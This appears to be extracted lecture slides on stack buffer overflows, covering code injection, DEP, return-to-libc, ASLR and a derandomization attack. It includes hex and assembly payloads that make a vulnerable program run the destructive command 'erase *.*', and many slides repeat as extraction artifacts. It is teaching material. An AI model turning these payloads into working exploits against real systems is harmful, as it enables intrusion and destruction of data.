Code-Injection Attacks

• Inject malicious executable code (payload) into victim process
  – e.g., via attacker-supplied input
• Convince victim process to execute payload
  – e.g., leverage buffer overrun to overwrite return address
• Attacker acquires complete control of process and all its privileges
Code-injection Example

```c
void main(int argc, char *argv[])
{
    char buf[64];
    strcpy(buf, argv[1]);
    ...
    return;
}
```

- `8D 45 B8` | `lea eax,[ebp-48h]`
- `50` | `push eax`
- `FF 15 BC 82 2F 01` | `call <system>`
- `.data “erase”`
- `.data “*.*”`
- `.data “aaaaa...”`
- `.data “aaaa”`
- `<addr of buf>`

![Stack diagram]

- `buf (64 bytes)`
- `saved EBP (4 bytes)`
- `saved EIP (4 bytes)`
- `argv (4 bytes)`
- `argc (4 bytes)`
- `bottom of stack (higher addresses)`
- `top of stack (lower addresses)`
Code-injection Example

```
void main(int argc, char *argv[])
{
    char buf[64];
    strcpy(buf, argv[1]);
    ...
    return;
}
```

```
lea eax,[ebp-48h]
push eax
call <system>
.data "erase"
.data "*.*"
.data "aaaaa..."
.data "aaaa"
<addr of buf>
```

```
8D 45 B8
50
FF 15 BC 82 2F 01
65 72 61 73 65 20
2A 2E 2A 20
61 (x24)
61 61 61 61
30 FB 1F 00
```

```
lea eax,[ebp-48h]
push eax
call <system>
```

```
erase *.* aaaaaaaa
aaaaaaaaaaaaaaaa
```

```
lea eax,[ebp-48h]
push eax
call <system>
```

```
<addr of buf>
```

```
argv (4 bytes)
argc (4 bytes)
bottom of stack (higher addresses)
```
Code-injection Example

```c
void main(int argc, char *argv[]) {
    char buf[64];
    strcpy(buf, argv[1]);
    ...
    return;
}
```

```assembly
lea eax,[ebp-48h]
push eax
call <system>
.data "erase"
.data "*. *
.data "aaaaa..."
.data "aaaa"
<addr of buf>
```

```
8D 45 B8
50
FF 15 BC 82 2F 01
65 72 61 73 65 20
2A 2E 2A 20
61 (x24)
61 61 61 61
30 FB 1F 00
```

```
lea eax,[ebp-48h]
push eax
call <system>
erase *.* aaaaaaaa
aaaaaaaaaaaaaaaa
```

```
bottom of stack (higher addresses)
```

```
top of stack (lower addresses)
```

```
lea eax,[ebp-48h]
push eax
call <system>
```

```
<addr of buf>
```

```
argv (4 bytes)
argc (4 bytes)
```

```
bottom of stack (higher addresses)
```

```
aaa
<addr of buf>
```

```
```

```
aaa
```

```
aaa
```
Code-injection Example

```c
void main(int argc, char *argv[])
{
    char buf[64];
    strcpy(buf, argv[1]);
    ... return;
}
```

8D 45 B8 lea eax,[ebp-48h]
50 push eax
FF 15 BC 82 2F 01 call <system>
65 72 61 73 65 20 .data “erase”
2A 2E 2A 20 .data “*.*”
61 (x24) .data “aaaaa...”
61 61 61 61 .data “aaaa”
30 FB 1F 00 <addr of buf>

lea eax,[ebp-48h]
push eax
call <system>
.data “erase ”
.data “*.*”
.data “aaaaa...”
.data “aaaa”
<addr of buf>

erase *.* aaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

argv (4 bytes)
argc (4 bytes)
bottom of stack (higher addresses)

8D 45 B8 lea eax,[ebp-48h]
50 push eax
FF 15 BC 82 2F 01 call <system>
65 72 61 73 65 20 .data “erase ”
2A 2E 2A 20 .data “*.*”
61 (x24) .data “aaaaa...”
61 61 61 61 .data “aaaa”
30 FB 1F 00 <addr of buf>
Code-injection Example

```c
void main(int argc, char *argv[])
{
    char buf[64];
    strcpy(buf, argv[1]);
    ...
    return;
}
```

**Assembly Code**

```
lea eax,[ebp-48h]
push eax
call <system>
.data "erase"
data "*.*
.data "aaaaa..."
.data "aaaa"
<addr of buf>
```

**Diagram**

- **Top of stack (lower addresses)**
  - `lea eax,[ebp-48h]`
  - `push eax`
  - `call <system>`
  - `erase *.* aaaaaaaaaa aaaaaaaaaaaaaaaaaa`

- **Bottom of stack (higher addresses)**
  - `argv (4 bytes)`
  - `<addr of buf>`
  - `<addr of “erase *.* ...”>`
Code-injection Example

void main(int argc, char *argv[])
{
    char buf[64];
    strcpy(buf, argv[1]);
    ...
    return;
}
Defense: W⊕X Pages

• Data Execution Prevention (DEP)
  – disallow writable & executable pages
  – stack writable but non-executable by default
  – now default on most Windows & Linux systems

• Counter-attack
  – don’t insert any code onto the stack
  – jump directly to existing code (typically libc)
  – called “jump-to-libc” attack
Return-to-libc Example

```c
void main(int argc, char *argv[])
{
    char buf[64];
    strcpy(buf, argv[1]);
    ...
    return;
}
```
Return-to-libc Example

```c
void main(int argc, char *argv[]) {
    char buf[64];
    strcpy(buf, argv[1]);
    ...
    return;
}
```
Return-to-libc Example

void main(int argc, char *argv[])
{
    char buf[64];
    strcpy(buf, argv[1]);
    ...
    return;
}
void main(int argc, char *argv[]) {
    char buf[64];
    strcpy(buf, argv[1]);
    ...
    return;
}
Return-to-libc Example

```cpp
libc::system(char *cmd)
{
    <passes cmd to the shell!>
}
```

65 72 61 73 65 20 .data “erase”
2A 2E 2A 20 .data “.*”
61 (x58) .data “aaaa…”
BC 82 2F 01 .data <system>
61 (x8) .data “aaaa…”
30 FB 1F 00 .data <buf>

top of stack (lower addresses)

- erase *
- aaaaaa...
- aaaa
- addr of <system>
- aaaa
- addr of <buf>
Defense: ASLR

• To return-to-libc, attacker must...
  – know where system() is located in libc
  – possibly know where stack is located (to pass args)
• Idea: Randomize location of libc at load time
  – Address Space Layout Randomization (ASLR)
  – To support dynamic linking, libraries must be relocatable
    • contain *relocations* which identify all code pointers
    • linker choose lib location, remaps code pointers
  – Adjust linker to choose library base addresses pseudo-randomly
• Hard for attacker to predict binary feature locations... or so we thought...
Weaknesses of ASLR

• Once attacker finds one feature in libc, he knows locations of ALL features in libc.
• Not all 32 bits on a 32-bit system are available
  – very high and very low addresses not available
  – ultimately, only 16 bits remain
• Re-randomization not possible with shared address spaces
  – most servers have parent dispatcher process and children responder processes
  – child may crash, but parent continues
• Stack location is revealed by existing stack pointers
  – lots of them floating around (e.g., frame pointers)
Derandomization Attack

• Phase 1: Find location of usleep()
  – Repeatedly smash stack with guessed entrypoint of usleep()
  – Arg n is an integer not a pointer, so does not require attacker knowledge of stack location
  – Failed probe: Crash (connection immediately drops)
  – Successful probe: Pause (connection pauses for n seconds, then drops)

• Requires $2^{16}/2=2^{15}$ probes on average
  – How long do you think would this take on average?
Derandomization Attack

• Phase 1: Find location of `usleep()`
  – Repeatedly smash stack with guessed entrypoint of `usleep()`
  – Arg n is an integer not a pointer, so does not require attacker knowledge of stack location
  – Failed probe: Crash (connection immediately drops)
  – Successful probe: Pause (connection pauses for n seconds, then drops)

• Requires $2^{16}/2=2^{15}$ probes on average
  – Average time for attack: 216 seconds
Derandomization Attack

• Phase 2: Inject the shell code
  – Have location of system(), but not stack location
    • need it to inject a pointer to an injected string arg
  – Idea: Instead of injecting a pointer to buf directly, compute its location from the stack pointer
    • ret instruction increases stack pointer by 4
  – How to execute a ret without injecting code onto stack?
    • Answer: Just find the address of a ret in libc!
    • Inject that address onto the stack many times to increase stack pointer until it reaches buf.
**Derandomization Attack**

<table>
<thead>
<tr>
<th>Top of stack (lower addresses)</th>
<th>Top of stack (lower addresses)</th>
</tr>
</thead>
<tbody>
<tr>
<td>buf (64 bytes)</td>
<td>erase <strong>.</strong>*</td>
</tr>
<tr>
<td>saved EBP (4 bytes)</td>
<td>smashed (unused EBP)</td>
</tr>
<tr>
<td>saved EIP (4 bytes)</td>
<td>address of ret</td>
</tr>
<tr>
<td>other args &amp; local vars</td>
<td>...</td>
</tr>
<tr>
<td>pointer to buf</td>
<td>address of system</td>
</tr>
<tr>
<td>bottom of stack (higher addresses)</td>
<td>unused retaddr for system call</td>
</tr>
<tr>
<td></td>
<td>pointer to buf</td>
</tr>
<tr>
<td></td>
<td>bottom of stack (higher addresses)</td>
</tr>
</tbody>
</table>